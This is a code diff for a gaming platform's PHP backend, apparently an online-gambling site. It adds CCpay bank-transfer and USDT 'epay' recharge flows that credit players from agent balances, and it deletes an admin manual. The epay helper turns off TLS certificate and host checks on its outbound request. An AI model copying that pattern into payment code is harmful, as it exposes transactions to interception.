$user = Db::name('user')->where([
'id' => $user_id,
'status' => 1,
'is_delete' => 0,
'agent' => 0,
])->find();
if (!$user || $user_id <= 0 || $money <= 0 || $client <= 0) {
$data = encrypt_data(['status' => 0, 'message' => 'Tham số không hợp lệ, vui lòng thử lại']);
return json(['Success' => 1, 'Data' => $data]);
}
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
$area_list = config('area_list');
if (!isset($area_list[$user['area_id']])) {
$data = encrypt_data(['status' => 0, 'message' => 'Khu vực hiện chưa hỗ trợ nạp tiền']);
return json(['Success' => 1, 'Data' => $data]);
}
$limitAgents = $area_list[$user['area_id']]['limit_agent'];
$isAllow = empty($limitAgents);
foreach ($limitAgents as $allowAgentId) {
if (in_array($allowAgentId, $zdlIdArr)) {
$isAllow = true;
}
}
if (!$isAllow) {
$data = encrypt_data(['status' => 0, 'message' => 'Tài khoản này chưa được phép nạp online']);
return json(['Success' => 1, 'Data' => $data]);
}
$zdlId = $zdlIdArr[0];
$zdl = Db::name('user')->where([
'id' => $zdlId,
'status' => 1,
'is_delete' => 0,
'agent' => 1,
])->find();
if (!$zdl) {
$data = encrypt_data(['status' => 0, 'message' => 'Tài khoản đại lý có vấn đề, không thể nạp']);
return json(['Success' => 1, 'Data' => $data]);
}
if ($zdl['money'] < $money) {
$maxAllowed = intval($zdl['money']);
$data = encrypt_data([
'status' => 0,
'code' => 'AGENT_LIMIT',
'message' => 'Hạn mức nạp mỗi lần hiện tại là ' . number_format($maxAllowed, 0, '.', ',') . ' VND. Vui lòng nhập số tiền nhỏ hơn hoặc bằng mức trên.',
'max_amount' => $maxAllowed,
]);
return json(['Success' => 1, 'Data' => $data]);
}
$pay_list = config('pay_list');
$pay_orderid = 'C' . date('YmdHis') . rand(100000, 999999);
$notify_url = $pay_list['ccpay']['notify_url'] ?? '';
$timeout = intval($pay_list['ccpay']['timeout'] ?? 600);
try {
$ccpay = new \pay\Ccpay();
$result = $ccpay->createOrder(
$pay_orderid,
sprintf('%.0f', $money),
$notify_url,
'uid_' . $user_id
);
if (!is_array($result)) {
addLogToFile('ccpay 下单: API 无响应', 'ccpay_error', 'ccpay');
$data = encrypt_data(['status' => 0, 'message' => 'Kênh thanh toán không phản hồi, vui lòng thử lại']);
return json(['Success' => 1, 'Data' => $data]);
}
$status = intval($result['status'] ?? -1);
$resultCode = intval($result['resultCode'] ?? -1);
if ($status !== 0 || $resultCode !== 0) {
$errMsg = $result['errMsg'] ?? 'Lỗi không xác định';
addLogToFile('ccpay 下单失败: order=' . $pay_orderid . ' err=' . $errMsg . ' raw=' . json_encode($result, JSON_UNESCAPED_UNICODE), 'ccpay_error', 'ccpay');
$data = encrypt_data(['status' => 0, 'message' => 'Khởi tạo thanh toán thất bại: ' . $errMsg]);
return json(['Success' => 1, 'Data' => $data]);
}
$order_id = Db::name('order_record')->insertGetId([
'pay_channel_id' => 9,
'pay_channel_name' => 'ccpay',
'user_id' => $user_id,
'order_sn' => $pay_orderid,
'appid' => $ccpay->getConfigInfo()['mch_no'] ?? '',
'api_key' => '',
'money' => $money,
'sign' => '',
'create_time' => time(),
'back_order_sn' => $result['cpOrderNo'] ?? '',
'client' => $client,
]);
Db::name('order_log')->insert([
'pay_channel_id' => 9,
'pay_channel_name' => 'ccpay',
'money' => $money,
'create_time' => time(),
'remake' => 'user_id:' . $user_id . ',用户名:' . $username . ',CCpay发起充值:' . $money . ',时间:' . date('Y-m-d H:i:s'),
'order_id' => $order_id,
'client' => $client,
]);
$codeUrl = $result['codeUrl'] ?? '';
$qrcode = null;
$msgJson = $result['message'] ?? '';
if ($msgJson) {
$bankInfo = json_decode($msgJson, true);
if (is_array($bankInfo) && !empty($bankInfo['AccNo'])) {
$expiresAt = time() + $timeout;
$qrcode = [
'order_sn' => $pay_orderid,
'bank_account' => $bankInfo['AccNo'] ?? '',
'bank_name' => $bankInfo['AccName'] ?? '',
'bank_branch' => $bankInfo['Branch'] ?? '',
'bank_short' => $bankInfo['BankShortName'] ?? '',
'qr_data' => $bankInfo['qrcode'] ?? '',
'remark' => $bankInfo['remark'] ?? '',
'amount' => $money,
'expires_at' => $expiresAt,
'timeout_sec' => $timeout,
];
}
}
addLogToFile('ccpay 下单成功: order=' . $pay_orderid . ' cp=' . ($result['cpOrderNo'] ?? ''), 'ccpay_request', 'ccpay');
$data = encrypt_data([
'status' => 1,
'message' => 'Khởi tạo thanh toán thành công',
'url' => $codeUrl,
'qrcode' => $qrcode,
]);
return json(['Success' => 1, 'Data' => $data]);
} catch (\Exception $e) {
addLogToFile('ccpay 下单异常: ' . $e->getMessage() . ' | file:' . $e->getFile() . ':' . $e->getLine(), 'ccpay_error', 'ccpay');
$data = encrypt_data(['status' => 0, 'message' => 'Khởi tạo thanh toán thất bại: ' . $e->getMessage()]);
return json(['Success' => 1, 'Data' => $data]);
}
}
public function ccpay_order_status()
{
$post = Request::instance()->post();
if (isset($post['encryptData'])) {
$post = decrypt_data($post);
if (!$post) {
return json(['status' => 0, 'message' => '数据解密失败']);
}
}
$order_sn = trim($post['order_sn'] ?? '');
$user_id = intval($post['user_id'] ?? 0);
if ($order_sn === '' || $user_id <= 0) {
$data = encrypt_data(['status' => 0, 'message' => '参数错误']);
return json(['Success' => 1, 'Data' => $data]);
}
$order = Db::name('order_record')
->where([
'order_sn' => $order_sn,
'user_id' => $user_id,
'pay_channel_id' => 9,
])
->find();
if (!$order) {
$data = encrypt_data(['status' => 0, 'message' => '订单不存在']);
return json(['Success' => 1, 'Data' => $data]);
}
if (intval($order['status']) == 3) {
$data = encrypt_data([
'status' => 1,
'message' => 'Nạp tiền thành công',
'money' => $order['money'],
'paid_time' => $order['back_time'],
]);
return json(['Success' => 1, 'Data' => $data]);
}
$pay_list = config('pay_list');
$timeout = intval($pay_list['ccpay']['timeout'] ?? 600);
if (time() - intval($order['create_time']) > $timeout) {
$data = encrypt_data([
'status' => 2,
'message' => 'Đơn hàng đã hết hạn',
'money' => $order['money'],
]);
return json(['Success' => 1, 'Data' => $data]);
}
$data = encrypt_data([
'status' => 0,
'message' => 'Đang chờ thanh toán',
'money' => $order['money'],
]);
return json(['Success' => 1, 'Data' => $data]);
}
public function ccpay_recharge_callback()
{
$raw = file_get_contents('php://input');
$post = json_decode($raw, true);
if (!$post) {
$post = Request::instance()->post();
}
$json = json_encode($post, JSON_UNESCAPED_UNICODE);
addLogToFile('ccpay 回调原始数据: ' . $json, 'ccpay_callback', 'ccpay');
if (!is_array($post) || empty($post['mchOrderNo']) || empty($post['sign'])) {
Log::record($post, 'ccpay_error_callback');
exit('fail');
}
$logId = Db::name('pay_callback_log')->insertGetId([
'pay_channel' => 'CCPAY_RECHARGE',
'type' => 'recharge',
'json' => $json,
'create_time' => date('Y-m-d H:i:s'),
]);
try {
$ccpay = new \pay\Ccpay();
$verifyData = [];
$verifyData['status'] = strval($post['status'] ?? '');
$verifyData['mchNo'] = $post['mchNo'] ?? '';
$verifyData['resultCode'] = strval($post['resultCode'] ?? '');
$verifyData['cpOrderNo'] = $post['cpOrderNo'] ?? '';
$verifyData['mchOrderNo'] = $post['mchOrderNo'] ?? '';
$verifyData['amount'] = strval($post['amount'] ?? '');
$verifyData['payResult'] = $post['payResult'] ?? '';
$verifyData['traceTime'] = $post['traceTime'] ?? '';
$verifyData['message'] = $post['message'] ?? '';
$signData = array_filter($verifyData, function ($v) {
return $v !== '' && $v !== null;
});
$signData['sign'] = $post['sign'];
if (!$ccpay->verifySign($signData)) {
addLogToFile('ccpay 回调验签失败: ' . $json, 'ccpay_callback_error', 'ccpay');
exit('fail');
}
if ($logId && !empty($post['mchOrderNo'])) {
Db::name('pay_callback_log')->where('id', $logId)->update(['unique_no' => $post['mchOrderNo']]);
}
$payResult = strval($post['payResult'] ?? '');
if ($payResult === '0') {
$this->ccpay_recharge_settle($post);
addLogToFile('ccpay 回调成功: order=' . $post['mchOrderNo'], 'ccpay_callback', 'ccpay');
exit('success');
} else {
addLogToFile('ccpay 回调非成功状态: payResult=' . $payResult . ' order=' . $post['mchOrderNo'], 'ccpay_callback', 'ccpay');
exit('success');
}
} catch (\Exception $e) {
addLogToFile('ccpay 回调异常: ' . $e->getMessage(), 'ccpay_callback_error', 'ccpay');
exit('fail');
}
}
private function ccpay_recharge_settle($data)
{
$orderNo = $data['mchOrderNo'];
Db::startTrans();
try {
$order = Db::name('order_record')->where('order_sn', $orderNo)->lock(true)->find();
if (!$order || $order['status'] == 3) {
Db::rollback();
return;
}
$user = Db::name('user')->where([
'id' => $order['user_id'],
'status' => 1,
'is_delete' => 0,
'agent' => 0,
])->lock(true)->find();
if (!$user) {
Db::rollback();
return;
}
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
$zdlId = $zdlIdArr[0];
$zdl = Db::name('user')->where([
'id' => $zdlId,
'status' => 1,
'is_delete' => 0,
'agent' => 1,
])->lock(true)->find();
if (!$zdl || $zdl['money'] < $order['money']) {
Db::rollback();
addLogToFile('ccpay 结算失败: 代理余额不足 order=' . $orderNo, 'ccpay_callback_error', 'ccpay');
return;
}
$actualMoney = isset($data['amount']) ? intval($data['amount']) : $order['money'];
Db::name('order_record')->where('id', $order['id'])->update([
'back_money' => $actualMoney,
'back_time' => time(),
'status' => 3,
'agent_parent_id' => $user['agent_parent_id'],
'agent_parent_username' => $user['agent_parent_username'],
'zdl_id' => $zdl['id'],
'zdl_username' => $zdl['username'],
'zdl_money_before' => $zdl['money'],
'zdl_money_after' => $zdl['money'] - $order['money'],
'money_before' => $user['money'],
'money_after' => $user['money'] + $order['money'],
]);
Db::name('order_log')->insert([
'pay_channel_id' => 9,
'pay_channel_name' => 'ccpay',
'money' => $order['money'],
'create_time' => time(),
'remake' => 'CCpay回调成功 cp=' . ($data['cpOrderNo'] ?? '') . ' payer=' . ($data['message'] ?? ''),
'order_id' => $order['id'],
]);
Db::name('recharge')->insert([
'type' => 4,
'amount' => $order['money'],
'mode' => 1,
'agent_or_admin' => 3,
'controller_id' => $zdl['id'],
'controller_username' => $zdl['username'],
'controller_nickname' => $zdl['nickname'],
'controller_type' => 'CCpay越南银行第三方充值,扣取总代理余分',
'controller_old_money' => $zdl['money'],
'controller_new_money' => $zdl['money'] - $order['money'],
'user_id' => $order['user_id'],
'user_type' => $user['agent'],
'user_agent_level' => 0,
'username_for' => $user['username'],
'nickname_for' => $user['nickname'],
'user_parent_id' => $user['agent_parent_id'],
'create_time' => time(),
'old_money' => $user['money'],
'new_money' => $user['money'] + $order['money'],
'controller_system' => 3,
'remake' => 'CCpay越南银行第三方充值成功',
]);
Db::name('user')->where('id', $zdl['id'])->update([
'money' => $zdl['money'] - $order['money'],
'last_recharge_out' => $order['money'],
'last_recharge_out_time' => time(),
'recharge_out_count' => $zdl['recharge_out_count'] + 1,
'recharge_out_total_amount' => $zdl['recharge_out_total_amount'] + $order['money'],
]);
Db::name('user')->where('id', $order['user_id'])->update([
'money' => $user['money'] + $order['money'],
'last_recharge' => $order['money'],
'last_recharge_time' => time(),
'recharge_count' => $user['recharge_count'] + 1,
'recharge_total_amount' => $user['recharge_total_amount'] + $order['money'],
]);
Db::commit();
addLogToFile('ccpay 结算成功: order=' . $orderNo . ' money=' . $order['money'], 'ccpay_callback', 'ccpay');
} catch (\Exception $e) {
Db::rollback();
addLogToFile('ccpay 结算异常: ' . $e->getMessage(), 'ccpay_callback_error', 'ccpay');
}
}
}
@@ -0,0 +1,523 @@
<?php
namespace app\onlinechip\controller\traits;
use think\Db;
use think\Log;
use think\Request;
/**
* 彩虹易支付 Trait
*
* 业务定位:
* - 作为 AlinPay(越南银行卡)之外的第二个充值通道,走易支付接 USDT/支付宝/微信
* - 当前主要用于 USDT TRC20 收款
*
* 对接文件:
* - extend/pay/Epay.php
* - 支付站点:https://pay.g7g7.top
*
* 公开方法:
* - epay_online_order() 发起充值,前端拿到 url 后跳转易支付
* - epay_recharge_callback() 接收易支付异步回调,验签后结算
*
* 通道编号:
* - pay_channel_id = 8AlinPay 7,本通道顺延)
* - 名称标识:epay
*/
trait epayPay
{
/**
* 易支付 - 发起充值下单(内嵌二维码模式)
*
* 直接跨库写 epay.pre_order + 计算 usdtpro 指纹金额,
* 前端内嵌渲染二维码,无需跳转 pay.g7g7.top。
*
* 返回的 Data 结构:
* {
* status: 1|0
* message: 文案
* url: 兼容字段(老前端仍可 window.open 跳转 /pay/leader/trade_no/
* qrcode: { 新字段,前端内嵌渲染
* order_sn: OG 侧订单号(用于轮询)
* usdt_address: TRC20 收款地址
* usdt_amount: 含指纹尾数的精确金额(如 10.0003
* vnd_amount: VND 原始金额
* rate: 汇率
* expires_at: 订单超时绝对时间戳
* timeout_sec: 总超时秒数
* }
* }
*/
public function epay_online_order()
{
// 兼容加密请求(Pcapi)和明文请求(Order)
$post = Request::instance()->post();
if (isset($post['encryptData'])) {
$post = decrypt_data($post);
if (!$post) {
$data = encrypt_data(['status' => 0, 'message' => 'Dữ liệu không hợp lệ']);
return json(['Success' => 1, 'Data' => $data]);
}
}
$user_id = intval($post['user_id'] ?? 0);
$money = intval($post['price'] ?? 0);
$client = intval($post['client'] ?? 0);
$username = trim($post['username'] ?? '');
// 支付子类型:usdt / alipay / wxpay 等,默认 usdt
$pay_type = trim($post['pay_type'] ?? 'usdt');
$user = Db::name('user')->where([
'id' => $user_id,
'status' => 1,
'is_delete' => 0,
'agent' => 0,
])->find();
if (!$user || $user_id <= 0 || $money <= 0 || $client <= 0) {
$data = encrypt_data(['status' => 0, 'message' => 'Tham số không hợp lệ, vui lòng thử lại']);
return json(['Success' => 1, 'Data' => $data]);
}
// 地区支线权限(与 AlinPay 一致的风控)
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
$area_list = config('area_list');
if (!isset($area_list[$user['area_id']])) {
$data = encrypt_data(['status' => 0, 'message' => 'Khu vực hiện chưa hỗ trợ nạp tiền']);
return json(['Success' => 1, 'Data' => $data]);
}
$limitAgents = $area_list[$user['area_id']]['limit_agent'];
$isAllow = empty($limitAgents);
foreach ($limitAgents as $allowAgentId) {
if (in_array($allowAgentId, $zdlIdArr)) {
$isAllow = true;
}
}
if (!$isAllow) {
$data = encrypt_data(['status' => 0, 'message' => 'Tài khoản này chưa được phép nạp online']);
return json(['Success' => 1, 'Data' => $data]);
}
// 总代理余额校验
$zdlId = $zdlIdArr[0];
$zdl = Db::name('user')->where([
'id' => $zdlId,
'status' => 1,
'is_delete' => 0,
'agent' => 1,
])->find();
if (!$zdl) {
$data = encrypt_data(['status' => 0, 'message' => 'Tài khoản đại lý có vấn đề, không thể nạp']);
return json(['Success' => 1, 'Data' => $data]);
}
if ($zdl['money'] < $money) {
$maxAllowed = intval($zdl['money']);
$data = encrypt_data([
'status' => 0,
'code' => 'AGENT_LIMIT',
'message' => 'Hạn mức nạp mỗi lần hiện tại là ' . number_format($maxAllowed, 0, '.', ',') . ' VND. Vui lòng nhập số tiền nhỏ hơn hoặc bằng mức trên.',
'max_amount' => $maxAllowed,
]);
return json(['Success' => 1, 'Data' => $data]);
}
$pay_list = config('pay_list');
$pay_orderid = 'P' . date('YmdHis') . rand(100000, 999999); // P 前缀区分 AlinPay 的 E
$notify_url = $pay_list['epay']['notify_url'] ?? '';
$return_url = $pay_list['epay']['callback_url'] ?? '';
$goods_name = $pay_list['epay']['goods_name'] ?? '账户充值';
$epay_api = $pay_list['epay']['api_url'] ?? 'https://pay.g7g7.top';
$merchant_id = intval($pay_list['epay']['pid'] ?? 0);
try {
$epay = new \pay\Epay();
// 写 OG 侧订单
$order_id = Db::name('order_record')->insertGetId([
'pay_channel_id' => 8,
'pay_channel_name' => 'epay',
'user_id' => $user_id,
'order_sn' => $pay_orderid,
'appid' => strval($epay->getConfigInfo()['pid'] ?? ''),
'api_key' => '',
'money' => $money,
'sign' => '',
'create_time' => time(),
'back_order_sn' => '',
'client' => $client,
]);
Db::name('order_log')->insert([
'pay_channel_id' => 8,
'pay_channel_name' => 'epay',
'money' => $money,
'create_time' => time(),
'remake' => 'user_id:' . $user_id . ',用户名:' . $username . ',发起充值(' . $pay_type . ')' . $money . ',时间:' . date('Y-m-d H:i:s'),
'order_id' => $order_id,
'client' => $client,
]);
// 调用 epay 的 mapi.php,让 epay 自己走完整个流程:
// 1) INSERT pre_order
// 2) Channel::submit 算通道
// 3) Plugin::loadForSubmit → usdtpro_plugin::submit() 算 usdtpro 指纹金额并写入 pre_order
// 4) 返回 {type:'jump', url:'/pay/leader/TRADE_NO/'}
// 注意:usdtpro 指纹金额必须由 epay 侧算,OG 侧算会与 monitor 对账逻辑产生精度漂移,导致充值不到账
$apiResult = $epay->createOrderApi(
$pay_orderid,
$pay_type,
sprintf('%.2f', $money),
$goods_name,
$notify_url,
$return_url,
'uid:' . $user_id
);
// mapi.php 返回格式:
// {code:0, trade_no, pay_type:'jump', pay_info:'/pay/submit/TRADE_NO/'} 或
// {code:0, trade_no, payurl:'/pay/submit/TRADE_NO/'} (default 分支)
// {code:1, trade_no, payurl:'...'} (部分旧版)
$submitUrl = '';
$trade_no = '';
if (is_array($apiResult)) {
if (!empty($apiResult['trade_no'])) $trade_no = strval($apiResult['trade_no']);
if (!empty($apiResult['payurl'])) $submitUrl = $apiResult['payurl'];
elseif (!empty($apiResult['pay_info'])) $submitUrl = $apiResult['pay_info'];
elseif (!empty($apiResult['url'])) $submitUrl = $apiResult['url'];
}
if (!$submitUrl || !$trade_no) {
$errMsg = is_array($apiResult) ? (isset($apiResult['msg']) ? $apiResult['msg'] : json_encode($apiResult, JSON_UNESCAPED_UNICODE)) : 'mapi 无响应';
addLogToFile('epay mapi 下单失败:order=' . $pay_orderid . ' err=' . $errMsg, 'epay_error', 'epay');
$data = encrypt_data(['status' => 0, 'message' => 'Khởi tạo thanh toán thất bại: ' . $errMsg]);
return json(['Success' => 1, 'Data' => $data]);
}
// 触发 plugin::submit() 把 usdtpro 指纹金额写入 pre_order
// mapi 模式 Plugin::loadForSubmit 只调 mapi() 方法,usdtpro 插件没这个方法,
// 所以 usdtpro 不会被写入。必须再访问一次 /pay/submit/TRADE_NO/ 让插件 submit() 跑一次
$this->epay_trigger_plugin_submit($submitUrl);
// 跳转到用户看的页面(pay/leader/TRADE_NO/
$payUrl = str_replace('/pay/submit/', '/pay/leader/', $submitUrl);
// 默认返回结构(若后续读取 usdtpro 失败仍可回退跳转)
$qrcode = null;
if ($pay_type === 'usdt' && $trade_no) {
// 从 epay.pre_order 读 epay 已经算好的 usdtpro 指纹金额 + 通道地址
$preOrder = Db::query(
"SELECT o.`trade_no`, o.`usdtpro`, o.`realmoney`, o.`addtime`, c.`config`
FROM `epay`.`pre_order` o
LEFT JOIN `epay`.`pre_channel` c ON c.`id` = o.`channel`
WHERE o.`trade_no` = :tn LIMIT 1",
['tn' => $trade_no]
);
if (!empty($preOrder) && !empty($preOrder[0]['usdtpro'])) {
$row = $preOrder[0];
$cfg = json_decode($row['config'] ?? '{}', true) ?: [];
$timeout = intval($cfg['timeout'] ?? 600);
$expiresAt = strtotime($row['addtime']) + $timeout;
$qrcode = [
'order_sn' => $pay_orderid,
'trade_no' => $row['trade_no'],
'usdt_address' => $cfg['address'] ?? '',
'usdt_amount' => rtrim(rtrim(sprintf('%.5f', floatval($row['usdtpro'])), '0'), '.'),
'vnd_amount' => $row['realmoney'],
'rate' => strval($cfg['rate'] ?? ''),
'expires_at' => $expiresAt,
'timeout_sec' => $timeout,
];
addLogToFile('epay 下单读取 usdtpro 成功: order=' . $pay_orderid . ' trade_no=' . $trade_no . ' usdt=' . $qrcode['usdt_amount'], 'epay_request', 'epay');
} else {
addLogToFile('epay 下单 pre_order 未取到 usdtpro: order=' . $pay_orderid . ' trade_no=' . $trade_no, 'epay_error', 'epay');
}
}
$data = encrypt_data([
'status' => 1,
'message' => 'Khởi tạo thanh toán thành công',
'url' => $payUrl, // 兼容老前端
'qrcode' => $qrcode, // 新前端内嵌渲染用(usdtpro 由 epay 权威给出)
]);
return json(['Success' => 1, 'Data' => $data]);
} catch (\Exception $e) {
addLogToFile('epay 下单异常:' . $e->getMessage() . ' | file:' . $e->getFile() . ':' . $e->getLine(), 'epay_error', 'epay');
$data = encrypt_data(['status' => 0, 'message' => 'Khởi tạo thanh toán thất bại: ' . $e->getMessage()]);
return json(['Success' => 1, 'Data' => $data]);
}
}
/**
* 触发 epay plugin::submit() 写入 usdtpro 指纹金额
* 只请求不处理响应(epay 会返回 302 HTML,我们只要副作用)
*/
private function epay_trigger_plugin_submit($submitUrl)
{
try {
$ch = curl_init($submitUrl);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_CONNECTTIMEOUT => 3,
CURLOPT_TIMEOUT => 6,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_USERAGENT => 'OG-EpayInternal/1.0',
]);
curl_exec($ch);
curl_close($ch);
} catch (\Exception $e) {
addLogToFile('epay_trigger_plugin_submit 异常:' . $e->getMessage(), 'epay_error', 'epay');
}
}
/**
* 易支付 - 订单状态轮询
*
* 前端轮询该接口,判断是否到账或已超时。
* 返回 Data 结构:
* { status: 0|1|2, message, money, paid_time }
* 0=待支付, 1=已到账, 2=已超时
*/
public function epay_order_status()
{
$post = Request::instance()->post();
if (isset($post['encryptData'])) {
$post = decrypt_data($post);
if (!$post) {
return json(['status' => 0, 'message' => '数据解密失败']);
}
}
$order_sn = trim($post['order_sn'] ?? '');
$user_id = intval($post['user_id'] ?? 0);
if ($order_sn === '' || $user_id <= 0) {
$data = encrypt_data(['status' => 0, 'message' => '参数错误']);
return json(['Success' => 1, 'Data' => $data]);
}
$order = Db::name('order_record')
->where([
'order_sn' => $order_sn,
'user_id' => $user_id,
'pay_channel_id' => 8,
])
->find();
if (!$order) {
$data = encrypt_data(['status' => 0, 'message' => '订单不存在']);
return json(['Success' => 1, 'Data' => $data]);
}
// status=3 代表已回调结算完成(见 epay_recharge_settle
if (intval($order['status']) == 3) {
$data = encrypt_data([
'status' => 1,
'message' => '充值成功',
'money' => $order['money'],
'paid_time' => $order['back_time'],
]);
return json(['Success' => 1, 'Data' => $data]);
}
// 超时判定:从 epay 配置拿 timeout,兜底 600
$pay_list = config('pay_list');
$timeout = intval($pay_list['epay']['timeout'] ?? 600);
if (time() - intval($order['create_time']) > $timeout) {
$data = encrypt_data([
'status' => 2,
'message' => '订单超时',
'money' => $order['money'],
]);
return json(['Success' => 1, 'Data' => $data]);
}
$data = encrypt_data([
'status' => 0,
'message' => '等待支付',
'money' => $order['money'],
]);
return json(['Success' => 1, 'Data' => $data]);
}
/**
* 易支付 - 异步回调处理
*
* 易支付回调是 GETpay.php 跳转后用 GET 带参数回 notify_url),
* 但也可能 POST —— 都兼容
*/
public function epay_recharge_callback()
{
$request = Request::instance();
$data = $request->post();
if (empty($data)) {
$data = $request->get();
}
$json = json_encode($data, JSON_UNESCAPED_UNICODE);
addLogToFile('epay 回调原始数据:' . $json, 'epay_callback', 'epay');
if (!is_array($data) || empty($data['out_trade_no']) || empty($data['sign'])) {
Log::record($data, 'epay_error_callback');
exit('fail');
}
// 记录回调日志
$logId = Db::name('pay_callback_log')->insertGetId([
'pay_channel' => 'EPAY_RECHARGE',
'type' => 'recharge',
'json' => $json,
'create_time' => date('Y-m-d H:i:s'),
]);
try {
$epay = new \pay\Epay();
$result = $epay->verifyNotifyCallback($data, $logId);
if (!$result['verified']) {
exit('fail');
}
if ($result['success']) {
$this->epay_recharge_settle($data);
exit('success');
} else {
// 非 TRADE_SUCCESS —— 返 success 让对方不再重试
addLogToFile('epay 回调非成功状态,ack 防重试:order=' . ($data['out_trade_no'] ?? ''), 'epay_callback', 'epay');
exit('success');
}
} catch (\Exception $e) {
addLogToFile('epay 回调处理异常:' . $e->getMessage(), 'epay_callback_error', 'epay');
exit('fail');
}
}
/**
* 易支付结算(事务保护:加锁 扣代理 加用户 写日志)
* alin_recharge_settle 同构,只是 pay_channel 改成 epay
*/
private function epay_recharge_settle($data)
{
$orderNo = $data['out_trade_no'];
Db::startTrans();
try {
$order = Db::name('order_record')->where('order_sn', $orderNo)->lock(true)->find();
if (!$order || $order['status'] == 3) {
Db::rollback();
return;
}
$user = Db::name('user')->where([
'id' => $order['user_id'],
'status' => 1,
'is_delete' => 0,
'agent' => 0,
])->lock(true)->find();
if (!$user) {
Db::rollback();
return;
}
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
$zdlId = $zdlIdArr[0];
$zdl = Db::name('user')->where([
'id' => $zdlId,
'status' => 1,
'is_delete' => 0,
'agent' => 1,
])->lock(true)->find();
if (!$zdl || $zdl['money'] < $order['money']) {
Db::rollback();
addLogToFile('epay 结算失败:代理余额不足 order=' . $orderNo, 'epay_callback_error', 'epay');
return;
}
// 实际到账金额:易支付回调中的 money 字段(CNY)
$actualMoney = isset($data['money']) ? floatval($data['money']) : $order['money'];
// 1. 更新订单
Db::name('order_record')->where('id', $order['id'])->update([
'back_money' => $actualMoney,
'back_time' => time(),
'status' => 3,
'agent_parent_id' => $user['agent_parent_id'],
'agent_parent_username' => $user['agent_parent_username'],
'zdl_id' => $zdl['id'],
'zdl_username' => $zdl['username'],
'zdl_money_before' => $zdl['money'],
'zdl_money_after' => $zdl['money'] - $order['money'],
'money_before' => $user['money'],
'money_after' => $user['money'] + $order['money'],
]);
// 2. 订单日志
Db::name('order_log')->insert([
'pay_channel_id' => 8,
'pay_channel_name' => 'epay',
'money' => $order['money'],
'create_time' => time(),
'remake' => '易支付回调成功 trade_no=' . ($data['trade_no'] ?? '') . ' type=' . ($data['type'] ?? ''),
'order_id' => $order['id'],
]);
// 3. recharge 流水
Db::name('recharge')->insert([
'type' => 4,
'amount' => $order['money'],
'mode' => 1,
'agent_or_admin' => 3,
'controller_id' => $zdl['id'],
'controller_username' => $zdl['username'],
'controller_nickname' => $zdl['nickname'],
'controller_type' => '易支付第三方充值,扣取总代理余分',
'controller_old_money' => $zdl['money'],
'controller_new_money' => $zdl['money'] - $order['money'],
'user_id' => $order['user_id'],
'user_type' => $user['agent'],
'user_agent_level' => 0,
'username_for' => $user['username'],
'nickname_for' => $user['nickname'],
'user_parent_id' => $user['agent_parent_id'],
'create_time' => time(),
'old_money' => $user['money'],
'new_money' => $user['money'] + $order['money'],
'controller_system' => 3,
'remake' => '易支付第三方充值成功(' . ($data['type'] ?? '') . ')',
]);
// 4. 扣代理
Db::name('user')->where('id', $zdl['id'])->update([
'money' => $zdl['money'] - $order['money'],
'last_recharge_out' => $order['money'],
'last_recharge_out_time' => time(),
'recharge_out_count' => $zdl['recharge_out_count'] + 1,
'recharge_out_total_amount' => $zdl['recharge_out_total_amount'] + $order['money'],
]);
// 5. 加用户
Db::name('user')->where('id', $order['user_id'])->update([
'money' => $user['money'] + $order['money'],
'last_recharge' => $order['money'],
'last_recharge_time' => time(),
'recharge_count' => $user['recharge_count'] + 1,
'recharge_total_amount' => $user['recharge_total_amount'] + $order['money'],
]);
Db::commit();
addLogToFile('epay 结算成功:order=' . $orderNo . ' money=' . $order['money'], 'epay_callback', 'epay');
} catch (\Exception $e) {
Db::rollback();
addLogToFile('epay 结算异常:' . $e->getMessage(), 'epay_callback_error', 'epay');
}
}
}
@@ -204,7 +204,7 @@
<i class="icon"></i> <i class="icon"></i>
<select class="select" name="pay_type" id="pay_type"> <select class="select" name="pay_type" id="pay_type">
<?php foreach($payMethod as $key=>$method): ?> <?php foreach($payMethod as $key=>$method): ?>
<option value ="<?=$key?>"><?=$method?></option> <option value ="<?=$key?>" data-url="/order/<?=isset($pay_routes[$key])?$pay_routes[$key]:$online_order_fac?>"><?=$method?></option>
<?php endForeach; ?> <?php endForeach; ?>
</select> </select>
</div> </div>
@@ -233,7 +233,8 @@
query.price = price; query.price = price;
query.username = username; query.username = username;
query.pay_type = pay_type; query.pay_type = pay_type;
url = '/order/<?=$online_order_fac ?>'; // 每种支付方式对应的 online_order 路由可能不同
url = $('#pay_type option:selected').data('url') || '/order/<?=$online_order_fac ?>';
//var winRef = window.open("","_blank"); //var winRef = window.open("","_blank");
$.ajax({ $.ajax({
url:url, url:url,
-543
View File
@@ -1,543 +0,0 @@
# OG Live Gaming - Admin 总后台使用说明
## 目录
1. [系统概述](#1-系统概述)
2. [登录与退出](#2-登录与退出)
3. [角色权限说明](#3-角色权限说明)
4. [功能模块详解](#4-功能模块详解)
- [代理管理](#41-代理管理)
- [会员管理](#42-会员管理)
- [财务管理](#43-财务管理)
- [游戏管理](#44-游戏管理)
- [系统管理](#45-系统管理)
- [数据报表](#46-数据报表)
5. [核心业务流程](#5-核心业务流程)
6. [常见问题](#6-常见问题)
---
## 1. 系统概述
Admin 总后台是 OG Live Gaming 平台的最高管理系统,用于:
- 管理所有总代理及其下级代理/会员
- 进行资金上下分操作(充值/提现)
- 查看游戏记录和数据报表
- 配置游戏参数和系统设置
- 审批充值提现申请
### 访问地址
```
https://bkk.g7g7.top/
```
### 技术架构
- 后端:ThinkPHP 5.x
- 前端:Layui + jQuery
- 数据库:MySQL 5.7
---
## 2. 登录与退出
### 2.1 登录
1. 访问 Admin 后台地址
2. 输入管理员账号、密码
3. 输入图形验证码
4. 点击【登录】
### 2.2 退出
点击右上角的【退出】按钮安全退出系统。
### 2.3 修改密码
1. 点击右上角【个人信息】
2. 选择【修改密码】
3. 输入原密码和新密码
4. 点击【确认修改】
---
## 3. 角色权限说明
系统支持多种管理员角色,权限各不相同:
| 角色 | role值 | 权限范围 |
|------|--------|----------|
| **超级管理员** | 0 | 所有功能,包括代理管理、会员管理、财务、游戏配置、系统设置等 |
| **监控员** | 1 | 在线玩家查看、游戏记录查看、路单修改、公告管理、操作日志 |
